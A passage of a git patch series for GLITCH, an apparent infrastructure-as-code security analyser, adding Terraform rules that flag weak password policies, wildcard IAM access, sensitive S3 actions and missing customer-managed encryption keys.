"vulnerability_alerts"}, + {"au_type": ["resource.azurerm_mssql_server_security_alert_policy"], "attribute": "email_addresses[0]", + "parents": [""], "values": [""], "required": "yes", "msg": "email_addresses"}, + {"au_type": ["resource.azurerm_mssql_server_security_alert_policy"], "attribute": "email_account_admins", + "parents": [""], "values": ["true"], "required": "yes", "msg": "email_account_admins"}, + {"au_type": ["resource.azurerm_security_center_contact"], "attribute": "alert_notifications", + "parents": [""], "values": ["true"], "required": "yes", "msg": "alert_notifications"}, + {"au_type": ["resource.azurerm_security_center_contact"], "attribute": "alerts_to_admins", + "parents": [""], "values": ["true"], "required": "yes", "msg": "alerts_to_admins"}, + {"au_type": ["resource.azurerm_security_center_contact"], "attribute": "phone", + "parents": [""], "values": ["any_not_empty"], "required": "yes", "msg": "phone"}] + [design] exec_atomic_units = ["exec"] default_variables = [] From 15588abc973cf4c0979ae4f77395abdf2ae276a8 Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Mon, 20 Mar 2023 15:32:46 +0000 Subject: [PATCH 07/58] Terraform: Weak Password/Key Policy code smell --- glitch/analysis/rules.py | 3 ++- glitch/analysis/security.py | 28 ++++++++++++++++++++++++++++ glitch/configs/default.ini | 19 +++++++++++++++++++ 3 files changed, 49 insertions(+), 1 deletion(-) diff --git a/glitch/analysis/rules.py b/glitch/analysis/rules.py index 9f8b4aa5..c1a6009a 100644 --- a/glitch/analysis/rules.py +++ b/glitch/analysis/rules.py @@ -24,7 +24,8 @@ class Error(): 'sec_authentication': "Disabled/Weak Authentication - Developers should guarantee that authentication is enabled.", 'sec_missing_encryption': "Missing Encryption - Developers should ensure encryption of sensitive and critical data. (CWE-311)", 'sec_firewall_misconfig': "Firewall Misconfiguration - Developers should favor the usage of a well configured waf. (CWE-693)", - 'sec_threats_detection_alerts': "Missing Threats Detection/Alerts - Developers should enable threats detection and alerts when it is possible." + 'sec_threats_detection_alerts': "Missing Threats Detection/Alerts - Developers should enable threats detection and alerts when it is possible.", + 'sec_weak_password_key_policy': "Weak Password/Key Policy - Developers should favor the usage of strong password/key requirements and configurations. (CWE-521)." }, 'design': { 'design_imperative_abstraction': "Imperative abstraction - The presence of imperative statements defies the purpose of IaC declarative languages.", diff --git a/glitch/analysis/security.py b/glitch/analysis/security.py index 55caabe4..c10ffe7b 100644 --- a/glitch/analysis/security.py +++ b/glitch/analysis/security.py @@ -50,6 +50,7 @@ def config(self, config_path: str): SecurityVisitor.__ENCRYPT_CONFIG = json.loads(config['security']['encrypt_configuration']) SecurityVisitor.__FIREWALL_CONFIGS = json.loads(config['security']['firewall']) SecurityVisitor.__MISSING_THREATS_DETECTION_ALERTS = json.loads(config['security']['missing_threats_detection_alerts']) + SecurityVisitor.__PASSWORD_KEY_POLICY = json.loads(config['security']['password_key_policy']) def check_atomicunit(self, au: AtomicUnit, file: str) -> list[Error]: errors = super().check_atomicunit(au, file) @@ -268,6 +269,14 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str): errors.append(Error('sec_threats_detection_alerts', a, file, repr(a))) break + # check weak password/key policy + for policy in SecurityVisitor.__PASSWORD_KEY_POLICY: + if (policy['required'] == "yes" and au.type in policy['au_type'] + and not check_required_attribute(au.attributes, policy['parents'], policy['attribute'])): + errors.append(Error('sec_weak_password_key_policy', au, file, repr(au), + f"Suggestion: check for a required attribute with name '{policy['msg']}'.")) + break + return errors def check_dependency(self, d: Dependency, file: str) -> list[Error]: @@ -528,6 +537,25 @@ def get_module_var(c, name: str): errors.append(Error('sec_threats_detection_alerts', c, file, repr(c))) break + for policy in SecurityVisitor.__PASSWORD_KEY_POLICY: + if (name == policy['attribute'] and atomic_unit.type in policy['au_type'] + and parent_name in policy['parents'] and policy['values'] != [""]): + if (policy['logic'] == "equal"): + if ("any_not_empty" in policy['values'] and value.lower() == ""): + errors.append(Error('sec_weak_password_key_policy', c, file, repr(c))) + break + elif ("any_not_empty" not in policy['values'] and value.lower() not in policy['values']): + errors.append(Error('sec_weak_password_key_policy', c, file, repr(c))) + break + elif ((policy['logic'] == "gte" and not value.isnumeric()) or + (policy['logic'] == "gte" and value.isnumeric() and int(value) < int(policy['values'][0]))): + errors.append(Error('sec_weak_password_key_policy', c, file, repr(c))) + break + elif ((policy['logic'] == "lte" and not value.isnumeric()) or + (policy['logic'] == "lte" and value.isnumeric() and int(value) > int(policy['values'][0]))): + errors.append(Error('sec_weak_password_key_policy', c, file, repr(c))) + break + return errors def check_attribute(self, a: Attribute, file: str, au: AtomicUnit = None, parent_name: str = "") -> list[Error]: diff --git a/glitch/configs/default.ini b/glitch/configs/default.ini index 88476137..3ea4f4e0 100644 --- a/glitch/configs/default.ini +++ b/glitch/configs/default.ini @@ -276,6 +276,25 @@ missing_threats_detection_alerts = [{"au_type": ["resource.azurerm_mssql_server_ {"au_type": ["resource.azurerm_security_center_contact"], "attribute": "phone", "parents": [""], "values": ["any_not_empty"], "required": "yes", "msg": "phone"}] +password_key_policy = [{"au_type": ["resource.aws_iam_account_password_policy"], "attribute": "password_reuse_prevention", + "parents": [""], "values": ["5"], "required": "yes", "msg": "password_reuse_prevention", "logic": "gte"}, + {"au_type": ["resource.aws_iam_account_password_policy"], "attribute": "require_lowercase_characters", + "parents": [""], "values": ["true"], "required": "yes", "msg": "require_lowercase_characters", "logic": "equal"}, + {"au_type": ["resource.aws_iam_account_password_policy"], "attribute": "require_numbers", + "parents": [""], "values": ["true"], "required": "yes", "msg": "require_numbers", "logic": "equal"}, + {"au_type": ["resource.aws_iam_account_password_policy"], "attribute": "require_symbols", + "parents": [""], "values": ["true"], "required": "yes", "msg": "require_symbols", "logic": "equal"}, + {"au_type": ["resource.aws_iam_account_password_policy"], "attribute": "require_uppercase_characters", + "parents": [""], "values": ["true"], "required": "yes", "msg": "require_uppercase_characters", "logic": "equal"}, + {"au_type": ["resource.aws_iam_account_password_policy"], "attribute": "max_password_age", + "parents": [""], "values": ["90"], "required": "yes", "msg": "max_password_age", "logic": "lte"}, + {"au_type": ["resource.aws_iam_account_password_policy"], "attribute": "minimum_password_length", + "parents": [""], "values": ["14"], "required": "yes", "msg": "minimum_password_length", "logic": "gte"}, + {"au_type": ["resource.azurerm_key_vault_secret"], "attribute": "expiration_date", + "parents": [""], "values": ["any_not_empty"], "required": "yes", "msg": "expiration_date", "logic": "equal"}, + {"au_type": ["resource.azurerm_key_vault"], "attribute": "purge_protection_enabled", + "parents": [""], "values": ["true"], "required": "yes", "msg": "purge_protection_enabled", "logic": "equal"}] + [design] exec_atomic_units = ["exec"] default_variables = [] From b882812ccc75016bb004de533dc6118a50a0b666 Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Tue, 21 Mar 2023 10:01:06 +0000 Subject: [PATCH 08/58] Added some rules to Insecure Access Control code smell --- glitch/analysis/rules.py | 4 ++-- glitch/analysis/security.py | 16 +++++++++++++++- glitch/configs/default.ini | 14 +++++++++++--- 3 files changed, 28 insertions(+), 6 deletions(-) diff --git a/glitch/analysis/rules.py b/glitch/analysis/rules.py index c1a6009a..a7e76d1b 100644 --- a/glitch/analysis/rules.py +++ b/glitch/analysis/rules.py @@ -20,8 +20,8 @@ class Error(): 'sec_ssl_tls_policy': "SSL/TLS/mTLS Policy - Developers should use SSL/TLS/mTLS protocols and their secure versions.", 'sec_dnssec': "Use of DNS without DNSSEC - Developers should favor the usage of DNSSEC while using DNS.", 'sec_public_ip': "Associated Public IP address - Associating Public IP addresses allows connections from public internet.", - 'sec_access_control': "Insecure Access Control - Developers should be aware of possible unauthorized access.", - 'sec_authentication': "Disabled/Weak Authentication - Developers should guarantee that authentication is enabled.", + 'sec_access_control': "Insecure Access Control - Developers should be aware of possible unauthorized access. (CWE-284)", + 'sec_authentication': "Disabled/Weak Authentication - Developers should guarantee that authentication is enabled. (CWE-287 | CWE-306)", 'sec_missing_encryption': "Missing Encryption - Developers should ensure encryption of sensitive and critical data. (CWE-311)", 'sec_firewall_misconfig': "Firewall Misconfiguration - Developers should favor the usage of a well configured waf. (CWE-693)", 'sec_threats_detection_alerts': "Missing Threats Detection/Alerts - Developers should enable threats detection and alerts when it is possible.", diff --git a/glitch/analysis/security.py b/glitch/analysis/security.py index c10ffe7b..9a73b009 100644 --- a/glitch/analysis/security.py +++ b/glitch/analysis/security.py @@ -473,7 +473,9 @@ def get_module_var(c, name: str): for config in SecurityVisitor.__POLICY_ACCESS_CONTROL: expr = config['keyword'].lower() + "\s*" + config['value'].lower() pattern = re.compile(rf"{expr}") - if re.search(pattern, value): + allow_expr = "\"effect\":" + "\s*" + "\"allow\"" + allow_pattern = re.compile(rf"{allow_expr}") + if re.search(pattern, value) and re.search(allow_pattern, value): errors.append(Error('sec_access_control', c, file, repr(c))) for config in SecurityVisitor.__POLICY_AUTHENTICATION: if atomic_unit.type in config['au_type']: @@ -482,6 +484,18 @@ def get_module_var(c, name: str): if not re.search(pattern, value): errors.append(Error('sec_authentication', c, file, repr(c))) + if (re.search(r"actions\[\d+\]", name) and parent_name == "permissions" + and atomic_unit.type == "resource.azurerm_role_definition" and value == "*"): + errors.append(Error('sec_access_control', c, file, repr(c))) + elif (((re.search(r"members\[\d+\]", name) and atomic_unit.type == "resource.google_storage_bucket_iam_binding") + or (name == "member" and atomic_unit.type == "resource.google_storage_bucket_iam_member")) + and (value == "allusers" or value == "allauthenticatedusers")): + errors.append(Error('sec_access_control', c, file, repr(c))) + elif (name == "email" and parent_name == "service_account" + and atomic_unit.type == "resource.google_compute_instance" + and re.search(r"\d+-compute@developer.gserviceaccount.com", value)): + errors.append(Error('sec_access_control', c, file, repr(c))) + for config in SecurityVisitor.__ACCESS_CONTROL_CONFIGS: if (name == config['attribute'] and atomic_unit.type in config['au_type'] and parent_name in config['parents'] and value.lower() not in config['values'] diff --git a/glitch/configs/default.ini b/glitch/configs/default.ini index 3ea4f4e0..1b283476 100644 --- a/glitch/configs/default.ini +++ b/glitch/configs/default.ini @@ -25,7 +25,8 @@ sensitive_data = ["user_data", "container_definitions", "custom_data"] key_value_assign = ["key_id=", "access_key=", "key=", "database_password="] policy_keywords = ["policy"] -policy_insecure_access_control = [{"keyword": "\"principal\":", "value": "\"\\*\""}] +policy_insecure_access_control = [{"keyword": "\"principal\":", "value": "\"\\*\""}, + {"keyword": "\"action\":", "value": "\"\\*\""}] policy_authentication = [{"au_type": ["resource.aws_iam_group_policy"], "keyword": "\"aws:multifactorauthpresent\":", "value": "\\[\"true\"\\]"}] @@ -149,7 +150,15 @@ insecure_access_control = [{"au_type": ["resource.aws_eks_cluster"], "attribute" {"au_type": ["resource.aws_mq_broker"], "attribute": "publicly_accessible", "parents": [""], "values": ["false"], "required": "no"}, {"au_type": ["resource.aws_athena_workgroup"], "attribute": "enforce_workgroup_configuration", - "parents": ["configuration"], "values": ["true"], "required": "no"}] + "parents": ["configuration"], "values": ["true"], "required": "no"}, + {"au_type": ["resource.azurerm_kubernetes_cluster"], "attribute": "role_based_access_control_enabled", + "parents": [""], "values": ["true"], "required": "no"}, + {"au_type": ["resource.google_container_cluster"], "attribute": "enable_legacy_abac", + "parents": [""], "values": ["false"], "required": "no"}, + {"au_type": ["resource.google_storage_bucket"], "attribute": "uniform_bucket_level_access", + "parents": [""], "values": ["true"], "required": "yes", "msg": "uniform_bucket_level_access"}, + {"au_type": ["resource.google_compute_instance"], "attribute": "email", + "parents": ["service_account"], "values": [""], "required": "yes", "msg": "service_account.email"}] authentication = [{"au_type": ["resource.azurerm_app_service", "resource.azurerm_function_app"], "attribute": "enabled", "parents": ["auth_settings"], "values": ["true"], "required": "yes", "msg": "auth_settings.enabled"}, @@ -161,7 +170,6 @@ authentication = [{"au_type": ["resource.azurerm_app_service", "resource.azurerm {"au_type": ["resource.google_container_cluster"], "attribute": "issue_client_certificate", "parents": ["client_certificate_config"], "values": ["false"], "required": "no"}] - missing_encryption = [{"au_type": ["resource.aws_api_gateway_method_settings"], "attribute": "cache_data_encrypted", "parents": ["settings"], "values": ["true"], "required": "yes", "msg": "settings.cache_data_encrypted"}, {"au_type": ["resource.aws_athena_database"], "attribute": "encryption_option", "parents": ["encryption_configuration"], From 7d3dcf2dc78c737daaf15d540a6837a61a5fcbc4 Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Tue, 21 Mar 2023 10:38:23 +0000 Subject: [PATCH 09/58] Terraform: Sensitive Action by IAM code smell, and added new case rule to SSL/TLS/mTLS Policy code smell --- glitch/analysis/rules.py | 3 ++- glitch/analysis/security.py | 25 +++++++++++++++++++++++++ glitch/configs/default.ini | 4 +++- 3 files changed, 30 insertions(+), 2 deletions(-) diff --git a/glitch/analysis/rules.py b/glitch/analysis/rules.py index a7e76d1b..df7d0b8d 100644 --- a/glitch/analysis/rules.py +++ b/glitch/analysis/rules.py @@ -25,7 +25,8 @@ class Error(): 'sec_missing_encryption': "Missing Encryption - Developers should ensure encryption of sensitive and critical data. (CWE-311)", 'sec_firewall_misconfig': "Firewall Misconfiguration - Developers should favor the usage of a well configured waf. (CWE-693)", 'sec_threats_detection_alerts': "Missing Threats Detection/Alerts - Developers should enable threats detection and alerts when it is possible.", - 'sec_weak_password_key_policy': "Weak Password/Key Policy - Developers should favor the usage of strong password/key requirements and configurations. (CWE-521)." + 'sec_weak_password_key_policy': "Weak Password/Key Policy - Developers should favor the usage of strong password/key requirements and configurations. (CWE-521).", + 'sec_sensitive_iam_action': "Sensitive Action by IAM - Developers should use the principle of least privilege when defining IAM policies." }, 'design': { 'design_imperative_abstraction': "Imperative abstraction - The presence of imperative statements defies the purpose of IaC declarative languages.", diff --git a/glitch/analysis/security.py b/glitch/analysis/security.py index 9a73b009..a7014764 100644 --- a/glitch/analysis/security.py +++ b/glitch/analysis/security.py @@ -277,6 +277,31 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str): f"Suggestion: check for a required attribute with name '{policy['msg']}'.")) break + # check sensitive action by IAM + if (au.type == "data.aws_iam_policy_document"): + allow = check_required_attribute(au.attributes, "statement", "effect") + if ((allow and allow.value.lower() == "allow") or (not allow)): + sensitive_action = False + i = 0 + action = check_required_attribute(au.attributes, "statement", f"actions[{i}]") + while action: + if action.value.lower() in ["s3:*", "s3:getobject"]: + sensitive_action = True + break + i += 1 + action = check_required_attribute(au.attributes, "statement", f"actions[{i}]") + sensitive_resource = False + i = 0 + resource = check_required_attribute(au.attributes, "statement", f"resources[{i}]") + while resource: + if resource.value.lower() in ["*"]: + sensitive_resource = True + break + i += 1 + resource = check_required_attribute(au.attributes, "statement", f"resources[{i}]") + if (sensitive_action and sensitive_resource): + errors.append(Error('sec_sensitive_iam_action', action, file, repr(action))) + return errors def check_dependency(self, d: Dependency, file: str) -> list[Error]: diff --git a/glitch/configs/default.ini b/glitch/configs/default.ini index 1b283476..66b1aa6a 100644 --- a/glitch/configs/default.ini +++ b/glitch/configs/default.ini @@ -97,7 +97,9 @@ ssl_tls_policy = [{"au_type": ["resource.aws_api_gateway_domain_name"], "attribu {"au_type": ["resource.google_sql_database_instance"], "attribute": "require_ssl", "parents": ["ip_configuration"], "values": ["true"], "required": "yes", "msg": "settings.ip_configuration.require_ssl"}, {"au_type": ["resource.azurerm_app_service"], "attribute": "client_cert_enabled", "parents": [""], - "values": ["true"], "required": "yes", "msg": "client_cert_enabled"}] + "values": ["true"], "required": "yes", "msg": "client_cert_enabled"}, + {"au_type": ["resource.azurerm_storage_account"], "attribute": "min_tls_version", "parents": [""], + "values": ["tls1_2"], "required": "no"}] ensure_dnssec = [{"au_type": ["resource.google_dns_managed_zone"], "attribute": "state", "parents": ["dnssec_config"], "values": ["on"], "required": "yes", "msg": "dnssec_config.state"}] From 7498bb62e66ac6f2313b7f84ba2e38a979429249 Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Wed, 22 Mar 2023 14:48:15 +0000 Subject: [PATCH 10/58] Terraform: Key Management code smell and fixed some rules of Missing Encryption code smell --- glitch/analysis/rules.py | 3 +- glitch/analysis/security.py | 94 +++++++++++++++++++++++++++++++++++-- glitch/configs/default.ini | 64 ++++++++++++++----------- 3 files changed, 128 insertions(+), 33 deletions(-) diff --git a/glitch/analysis/rules.py b/glitch/analysis/rules.py index df7d0b8d..75878d58 100644 --- a/glitch/analysis/rules.py +++ b/glitch/analysis/rules.py @@ -26,7 +26,8 @@ class Error(): 'sec_firewall_misconfig': "Firewall Misconfiguration - Developers should favor the usage of a well configured waf. (CWE-693)", 'sec_threats_detection_alerts': "Missing Threats Detection/Alerts - Developers should enable threats detection and alerts when it is possible.", 'sec_weak_password_key_policy': "Weak Password/Key Policy - Developers should favor the usage of strong password/key requirements and configurations. (CWE-521).", - 'sec_sensitive_iam_action': "Sensitive Action by IAM - Developers should use the principle of least privilege when defining IAM policies." + 'sec_sensitive_iam_action': "Sensitive Action by IAM - Developers should use the principle of least privilege when defining IAM policies.", + 'sec_key_management': "Key Management - Developers should use well configured Customer Managed Keys (CMK) for encryption." }, 'design': { 'design_imperative_abstraction': "Imperative abstraction - The presence of imperative statements defies the purpose of IaC declarative languages.", diff --git a/glitch/analysis/security.py b/glitch/analysis/security.py index a7014764..62216316 100644 --- a/glitch/analysis/security.py +++ b/glitch/analysis/security.py @@ -51,6 +51,7 @@ def config(self, config_path: str): SecurityVisitor.__FIREWALL_CONFIGS = json.loads(config['security']['firewall']) SecurityVisitor.__MISSING_THREATS_DETECTION_ALERTS = json.loads(config['security']['missing_threats_detection_alerts']) SecurityVisitor.__PASSWORD_KEY_POLICY = json.loads(config['security']['password_key_policy']) + SecurityVisitor.__KEY_MANAGEMENT = json.loads(config['security']['key_management']) def check_atomicunit(self, au: AtomicUnit, file: str) -> list[Error]: errors = super().check_atomicunit(au, file) @@ -241,6 +242,28 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str): break # check missing encryption + if (au.type == "resource.aws_s3_bucket"): + r = get_associated_au(self.code, "resource.aws_s3_bucket_server_side_encryption_configuration", "bucket", + "${aws_s3_bucket." + f"{au.name}" + ".id}", [""]) + if not r: + errors.append(Error('sec_missing_encryption', au, file, repr(au), + f"Suggestion: check for a required resource 'aws_s3_bucket_server_side_encryption_configuration' " + + f"associated to an 'aws_s3_bucket' resource.")) + else: + server_side_encryption = check_required_attribute(r.attributes, ["rule"], "apply_server_side_encryption_by_default") + if server_side_encryption: + sse_algorithm = check_required_attribute(server_side_encryption.keyvalues, [""], "sse_algorithm") + if not sse_algorithm: + errors.append(Error('sec_missing_encryption', au, file, repr(au), + f"Suggestion: check for a required attribute with name " + + f"'rule.apply_server_side_encryption_by_default.sse_algorithm'.")) + elif (sse_algorithm and sse_algorithm.value.lower() not in ["aes256", "aws:kms"]): + errors.append(Error('sec_missing_encryption', sse_algorithm, file, repr(sse_algorithm))) + else: + errors.append(Error('sec_missing_encryption', au, file, repr(au), + f"Suggestion: check for a required attribute with name " + + f"'rule.apply_server_side_encryption_by_default.sse_algorithm'.")) + for config in SecurityVisitor.__MISSING_ENCRYPTION: if (config['required'] == "yes" and au.type in config['au_type'] and not check_required_attribute(au.attributes, config['parents'], config['attribute'])): @@ -279,29 +302,67 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str): # check sensitive action by IAM if (au.type == "data.aws_iam_policy_document"): - allow = check_required_attribute(au.attributes, "statement", "effect") + allow = check_required_attribute(au.attributes, ["statement"], "effect") if ((allow and allow.value.lower() == "allow") or (not allow)): sensitive_action = False i = 0 - action = check_required_attribute(au.attributes, "statement", f"actions[{i}]") + action = check_required_attribute(au.attributes, ["statement"], f"actions[{i}]") while action: if action.value.lower() in ["s3:*", "s3:getobject"]: sensitive_action = True break i += 1 - action = check_required_attribute(au.attributes, "statement", f"actions[{i}]") + action = check_required_attribute(au.attributes, ["statement"], f"actions[{i}]") sensitive_resource = False i = 0 - resource = check_required_attribute(au.attributes, "statement", f"resources[{i}]") + resource = check_required_attribute(au.attributes, ["statement"], f"resources[{i}]") while resource: if resource.value.lower() in ["*"]: sensitive_resource = True break i += 1 - resource = check_required_attribute(au.attributes, "statement", f"resources[{i}]") + resource = check_required_attribute(au.attributes, ["statement"], f"resources[{i}]") if (sensitive_action and sensitive_resource): errors.append(Error('sec_sensitive_iam_action', action, file, repr(action))) + # check key management + if (au.type == "resource.aws_s3_bucket"): + r = get_associated_au(self.code, "resource.aws_s3_bucket_server_side_encryption_configuration", "bucket", + "${aws_s3_bucket." + f"{au.name}" + ".id}", [""]) + if not r: + errors.append(Error('sec_key_management', au, file, repr(au), + f"Suggestion: check for a required resource 'aws_s3_bucket_server_side_encryption_configuration' " + + f"associated to an 'aws_s3_bucket' resource.")) + else: + server_side_encryption = check_required_attribute(r.attributes, ["rule"], "apply_server_side_encryption_by_default") + if server_side_encryption: + print(f"keyvalues: {server_side_encryption.keyvalues}") + key_id = check_required_attribute(server_side_encryption.keyvalues, [""], "kms_master_key_id") + print(f"key_id: {key_id}") + if not key_id: + errors.append(Error('sec_key_management', au, file, repr(au), + f"Suggestion: check for a required attribute with name " + + f"'rule.apply_server_side_encryption_by_default.kms_master_key_id'.")) + elif (key_id and key_id.value.lower() == ""): + errors.append(Error('sec_key_management', key_id, file, repr(key_id))) + else: + errors.append(Error('sec_key_management', au, file, repr(au), + f"Suggestion: check for a required attribute with name " + + f"'rule.apply_server_side_encryption_by_default.kms_master_key_id'.")) + elif (au.type == "resource.azurerm_storage_account"): + if not get_associated_au(self.code, "resource.azurerm_storage_account_customer_managed_key", "storage_account_id", + "${azurerm_storage_account." + f"{au.name}" + ".id}", [""]): + errors.append(Error('sec_key_management', au, file, repr(au), + f"Suggestion: check for a required resource 'azurerm_storage_account_customer_managed_key' " + + f"associated to an 'azurerm_storage_account' resource.")) + + for config in SecurityVisitor.__KEY_MANAGEMENT: + if (config['required'] == "yes" and au.type in config['au_type'] + and not check_required_attribute(au.attributes, config['parents'], config['attribute'])): + errors.append(Error('sec_key_management', au, file, repr(au), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + break + return errors def check_dependency(self, d: Dependency, file: str) -> list[Error]: @@ -595,6 +656,29 @@ def get_module_var(c, name: str): errors.append(Error('sec_weak_password_key_policy', c, file, repr(c))) break + for config in SecurityVisitor.__KEY_MANAGEMENT: + if (name == config['attribute'] and atomic_unit.type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""]): + if ("any_not_empty" in config['values'] and value.lower() == ""): + errors.append(Error('sec_key_management', c, file, repr(c))) + break + elif ("any_not_empty" not in config['values'] and value.lower() not in config['values']): + errors.append(Error('sec_key_management', c, file, repr(c))) + break + + if (name == "rotation_period" and atomic_unit.type == "resource.google_kms_crypto_key"): + expr1 = r'\d+\.\d{0,9}s' + expr2 = r'\d+s' + if (re.search(expr1, value) or re.search(expr2, value)): + if (int(value.split("s")[0]) > 7776000): + errors.append(Error('sec_key_management', c, file, repr(c))) + else: + errors.append(Error('sec_key_management', c, file, repr(c))) + elif (name == "kms_master_key_id" and ((atomic_unit.type == "resource.aws_sqs_queue" + and value == "alias/aws/sqs") or (atomic_unit.type == "resource.aws_sns_queue" + and value == "alias/aws/sns"))): + errors.append(Error('sec_key_management', c, file, repr(c))) + return errors def check_attribute(self, a: Attribute, file: str, au: AtomicUnit = None, parent_name: str = "") -> list[Error]: diff --git a/glitch/configs/default.ini b/glitch/configs/default.ini index 66b1aa6a..cd9f3250 100644 --- a/glitch/configs/default.ini +++ b/glitch/configs/default.ini @@ -43,7 +43,8 @@ encrypt_configuration = [{"au_type": ["resource.aws_emr_security_configuration"] "value": "", "required": "yes"}] secrets_white_list = ["cloudfront_default_certificate", "client_cert_enabled", "api_key_required", "issue_client_certificate", - "kms_key_id", "kms_key_arn", "key_arn", "performance_insights_kms_key_id", "kms_master_key_id", "kms_key_self_link", "bypass"] + "kms_key_id", "kms_key_arn", "key_arn", "performance_insights_kms_key_id", "kms_master_key_id", "kms_key_self_link", "bypass", + "enable_key_rotation"] github_actions_resources = ["resource.github_actions_environment_secret", "resource.github_actions_organization_secret", "resource.github_actions_secret"] @@ -185,14 +186,14 @@ missing_encryption = [{"au_type": ["resource.aws_api_gateway_method_settings"], {"au_type": ["resource.aws_athena_workgroup"], "attribute": "encryption_option", "parents": ["encryption_configuration"], "values": ["sse_kms", "sse_s3", "cse_kms"], "required": "yes", "msg": "configuration.result_configuration.encryption_configuration.encryption_option"}, - {"au_type": ["resource.aws_cloudtrail"], "attribute": "kms_key_id", - "parents": [""], "values": [""], "required": "yes", "msg": "kms_key_id"}, {"au_type": ["resource.aws_codebuild_project"], "attribute": "encryption_disabled", "parents": ["artifacts", "secondary_artifacts"], "values": ["false"], "required": "no"}, - {"au_type": ["resource.aws_docdb_cluster"], "attribute": "storage_encrypted", - "parents": [""], "values": ["true"], "required": "yes", "msg": "storage_encrypted"}, - {"au_type": ["resource.aws_dax_cluster"], "attribute": "enabled", "parents": ["server_side_encryption"], - "values": ["true"], "required": "yes", "msg": "server_side_encryption.enabled"}, + {"au_type": ["resource.aws_docdb_cluster", "resource.aws_rds_cluster", "resource.aws_db_instance", + "resource.aws_db_cluster_snapshot", "resource.aws_rds_cluster_instance", "resource.aws_rds_global_cluster", + "resource.aws_neptune_cluster"], "attribute": "storage_encrypted", "parents": [""], "values": ["true"], + "required": "yes", "msg": "storage_encrypted"}, + {"au_type": ["resource.aws_dax_cluster", "resource.aws_dynamodb_table"], "attribute": "enabled", + "parents": ["server_side_encryption"], "values": ["true"], "required": "yes", "msg": "server_side_encryption.enabled"}, {"au_type": ["resource.aws_ebs_volume", "resource.aws_efs_file_system"], "attribute": "encrypted", "parents": [""], "values": ["true"], "required": "yes", "msg": "encrypted"}, {"au_type": ["resource.aws_instance", "resource.aws_launch_configuration"], "attribute": "encrypted", @@ -216,29 +217,10 @@ missing_encryption = [{"au_type": ["resource.aws_api_gateway_method_settings"], "parents": [""], "values": ["true"], "required": "yes", "msg": "at_rest_encryption_enabled"}, {"au_type": ["resource.aws_kinesis_stream"], "attribute": "encryption_type", "parents": [""], "values": ["kms"], "required": "yes", "msg": "encryption_type"}, - {"au_type": ["resource.aws_kinesis_stream"], "attribute": "kms_key_id", - "parents": [""], "values": ["any_not_empty"], "required": "yes", "msg": "kms_key_id"}, {"au_type": ["resource.aws_msk_cluster"], "attribute": "client_broker", "parents": ["encryption_in_transit"], "values": ["tls"], "required": "no"}, - {"au_type": ["resource.aws_rds_cluster_instance"], "attribute": "performance_insights_kms_key_id", - "parents": [""], "values": ["any_not_empty"], "required": "yes", "msg": "performance_insights_kms_key_id"}, - {"au_type": ["resource.aws_rds_cluster", "resource.aws_db_instance"], "attribute": "storage_encrypted", - "parents": [""], "values": ["true"], "required": "yes", "msg": "storage_encrypted"}, - {"au_type": ["resource.aws_rds_cluster"], "attribute": "kms_key_id", - "parents": [""], "values": ["any_not_empty"], "required": "yes", "msg": "kms_key_id"}, {"au_type": ["resource.aws_redshift_cluster"], "attribute": "encrypted", "parents": [""], "values": ["true"], "required": "yes", "msg": "encrypted"}, - {"au_type": ["resource.aws_redshift_cluster"], "attribute": "kms_key_id", - "parents": [""], "values": ["any_not_empty"], "required": "yes", "msg": "kms_key_id"}, - {"au_type": ["resource.aws_s3_bucket"], "attribute": "rule", "parents": ["server_side_encryption_configuration"], - "values": [""], "required": "yes", - "msg": "server_side_encryption_configuration.rule.apply_server_side_encryption_by_default.sse_algorithm"}, - {"au_type": ["resource.aws_s3_bucket"], "attribute": "apply_server_side_encryption_by_default", "parents": ["rule"], - "values": [""], "required": "yes", - "msg": "server_side_encryption_configuration.rule.apply_server_side_encryption_by_default.sse_algorithm"}, - {"au_type": ["resource.aws_s3_bucket"], "attribute": "sse_algorithm", - "parents": ["apply_server_side_encryption_by_default"], "values": ["aes256", "aws:kms"], "required": "yes", - "msg": "server_side_encryption_configuration.rule.apply_server_side_encryption_by_default.sse_algorithm"}, {"au_type": ["resource.aws_sns_topic", "resource.aws_sqs_queue"], "attribute": "kms_master_key_id", "parents": [""], "values": ["any_not_empty"], "required": "yes", "msg": "kms_master_key_id"}, {"au_type": ["resource.aws_workspaces_workspace"], "attribute": "root_volume_encryption_enabled", "parents": [""], @@ -248,7 +230,9 @@ missing_encryption = [{"au_type": ["resource.aws_api_gateway_method_settings"], {"au_type": ["resource.aws_elasticsearch_domain"], "attribute": "enabled", "parents": ["node_to_node_encryption"], "values": ["true"], "required": "yes", "msg": "node_to_node_encryption.enabled"}, {"au_type": ["resource.aws_elasticache_replication_group"], "attribute": "transit_encryption_enabled", - "parents": [""], "values": ["true"], "required": "yes", "msg": "transit_encryption_enabled"}] + "parents": [""], "values": ["true"], "required": "yes", "msg": "transit_encryption_enabled"}, + {"au_type": ["resource.aws_ecr_repository"], "attribute": "encryption_type", "parents": ["encryption_configuration"], + "values": ["kms"], "required": "yes", "msg": "encryption_configuration.encryption_type"}] firewall = [{"au_type": ["resource.aws_cloudfront_distribution"], "attribute": "web_acl_id", "parents": [""], "values": ["any_not_empty"], "required": "yes", "msg": "web_acl_id"}, @@ -305,6 +289,32 @@ password_key_policy = [{"au_type": ["resource.aws_iam_account_password_policy"], {"au_type": ["resource.azurerm_key_vault"], "attribute": "purge_protection_enabled", "parents": [""], "values": ["true"], "required": "yes", "msg": "purge_protection_enabled", "logic": "equal"}] +key_management = [{"au_type": ["resource.aws_cloudwatch_log_group", "resource.aws_docdb_cluster", "resource.aws_ebs_volume", + "resource.aws_secretsmanager_secret", "resource.aws_kinesis_stream", "resource.aws_cloudtrail", "resource.aws_rds_cluster", + "resource.aws_db_instance", "resource.aws_redshift_cluster", "aws_db_instance_automated_backups_replication", + "aws_rds_cluster_activity_stream"], + "attribute": "kms_key_id", "parents": [""], "values": ["any_not_empty"], "required": "yes", "msg": "kms_key_id"}, + {"au_type": ["resource.aws_dynamodb_table"], "attribute": "kms_key_arn", "parents": 